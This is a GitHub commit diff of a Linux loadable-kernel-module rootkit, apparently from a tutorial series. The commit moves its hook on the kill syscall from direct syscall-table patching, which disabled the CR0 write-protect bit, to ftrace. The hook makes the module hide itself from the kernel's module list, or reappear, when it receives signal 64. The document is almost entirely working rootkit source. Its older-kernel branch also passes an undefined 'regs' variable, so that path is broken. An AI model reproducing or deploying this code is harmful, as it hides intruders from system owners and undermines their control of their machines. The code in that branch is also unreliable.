Skip to content

Commit 2748306

Browse files
committed
update to use ftrace
1 parent 3b5e18a commit 2748306

File tree

1 file changed

+59
-54
lines changed
  • 3_RootkitTechniques/3.2_kill_signalling

1 file changed

+59
-54
lines changed

3_RootkitTechniques/3.2_kill_signalling/rootkit.c

+59-54
Original file line numberDiff line numberDiff line change
@@ -3,26 +3,38 @@
33
#include <linux/kernel.h>
44
#include <linux/syscalls.h>
55
#include <linux/kallsyms.h>
6+
#include <linux/version.h>
7+
8+
#include "ftrace_helper.h"
69

710
MODULE_LICENSE("GPL");
811
MODULE_AUTHOR("TheXcellerator");
912
MODULE_DESCRIPTION("Syscall hijacking to send custom signals");
10-
MODULE_VERSION("0.01");
11-
12-
static unsigned long * __sys_call_table;
13+
MODULE_VERSION("0.02");
1314

14-
/* orig_kill_t has to be declared to take pt_regs as as argument
15-
* so that we can access the variables stored in registers */
16-
typedef asmlinkage long (*orig_kill_t)(const struct pt_regs *);
17-
orig_kill_t orig_kill;
15+
/* After Kernel 4.17.0, the way that syscalls are handled changed
16+
* to use the pt_regs struct instead of the more familiar function
17+
* prototype declaration. We have to check for this, and set a
18+
* variable for later on */
19+
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
20+
#define PTREGS_SYSCALL_STUBS 1
21+
#endif
1822

1923
/* We need these for hiding/revealing the kernel module */
2024
static struct list_head *prev_module;
2125
static short hidden = 0;
2226

27+
/* We now have to check for the PTREGS_SYSCALL_STUBS flag and
28+
* declare the orig_kill and hook_kill functions differently
29+
* depending on the kernel version. This is the largest barrier to
30+
* getting the rootkit to work on earlier kernel versions. The
31+
* more modern way is to use the pt_regs struct. */
32+
#ifdef PTREGS_SYSCALL_STUBS
33+
static asmlinkage long (*orig_kill)(const struct pt_regs *);
34+
2335
/* After grabbing the sig out of the pt_regs struct, just check
24-
* for signal 64 (unused normally) and, using "hidden" as a toggle
25-
* we either call hideme(), showme(), or the real sys_kill()
36+
* for signal 64 (unused normally) and, using "hidden" as a toggle
37+
* we either call hideme(), showme() or the real sys_kill()
2638
* syscall with the arguments passed via pt_regs. */
2739
asmlinkage int hook_kill(const struct pt_regs *regs)
2840
{
@@ -49,6 +61,33 @@ asmlinkage int hook_kill(const struct pt_regs *regs)
4961
return orig_kill(regs);
5062
}
5163
}
64+
#else
65+
/* This is the old way of declaring a syscall hook */
66+
static asmlinkage long (*orig_kill)(pid_t pid, int sig);
67+
68+
static asmlinkage int hook_kill(pid_t pid, int sig)
69+
{
70+
void showme(void);
71+
void hideme(void);
72+
73+
if ( (sig == 64) && (hidden == 0) )
74+
{
75+
printk(KERN_INFO "rootkit: hiding rootkit kernel module...\n");
76+
hideme();
77+
hidden = 1;
78+
}
79+
else if ( (sig == 64) && (hidden == 1) )
80+
{
81+
printk(KERN_INFO "rootkit: revealing rootkit kernel module...\n");
82+
showme();
83+
hidden = 0;
84+
}
85+
else
86+
{
87+
return orig_kill(regs);
88+
}
89+
}
90+
#endif
5291

5392
/* Add this LKM back to the loaded module list, at the point
5493
* specified by prev_module */
@@ -66,63 +105,29 @@ void hideme(void)
66105
list_del(&THIS_MODULE->list);
67106
}
68107

69-
/* The built in linux write_cr0() function stops us from modifying
70-
* the WP bit, so we write our own instead */
71-
inline void cr0_write(unsigned long cr0)
72-
{
73-
asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order));
74-
}
75-
76-
/* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which
77-
* determines whether read-only pages can be written to. We are modifying
78-
* the syscall table, so we need to unset it first */
79-
static inline void protect_memory(void)
80-
{
81-
unsigned long cr0 = read_cr0();
82-
set_bit(16, &cr0);
83-
cr0_write(cr0);
84-
}
85-
86-
static inline void unprotect_memory(void)
87-
{
88-
unsigned long cr0 = read_cr0();
89-
clear_bit(16, &cr0);
90-
cr0_write(cr0);
91-
}
108+
/* Declare the struct that ftrace needs to hook the syscall */
109+
static struct ftrace_hook hooks[] = {
110+
HOOK("sys_kill", hook_kill, &orig_kill),
111+
};
92112

93113
/* Module initialization function */
94114
static int __init rootkit_init(void)
95115
{
96-
/* Grab the syscall table */
97-
__sys_call_table = kallsyms_lookup_name("sys_call_table");
98-
99-
/* Grab the function pointer to the real sys_kill syscall */
100-
orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];
116+
/* Hook the syscall and print to the kernel buffer */
117+
int err;
118+
err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
119+
if(err)
120+
return err;
101121

102122
printk(KERN_INFO "rootkit: Loaded >:-)\n");
103-
printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table);
104-
printk(KERN_DEBUG "rootkit: kill @ 0x%lx\n", orig_kill);
105-
106-
unprotect_memory();
107-
108-
printk(KERN_INFO "rootkit: hooking kill syscall\n");
109-
/* Patch the function pointer to sys_kill with our hook instead */
110-
__sys_call_table[__NR_kill] = (unsigned long)hook_kill;
111-
112-
protect_memory();
113123

114124
return 0;
115125
}
116126

117127
static void __exit rootkit_exit(void)
118128
{
119-
unprotect_memory();
120-
121-
printk(KERN_INFO "rootkit: restoring kill syscall\n");
122-
__sys_call_table[__NR_kill] = (unsigned long)orig_kill;
123-
124-
protect_memory();
125-
129+
/* Unhook and restore the syscall and print to the kernel buffer */
130+
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
126131
printk(KERN_INFO "rootkit: Unloaded :-(\n");
127132
}
128133

0 commit comments

Comments
 (0)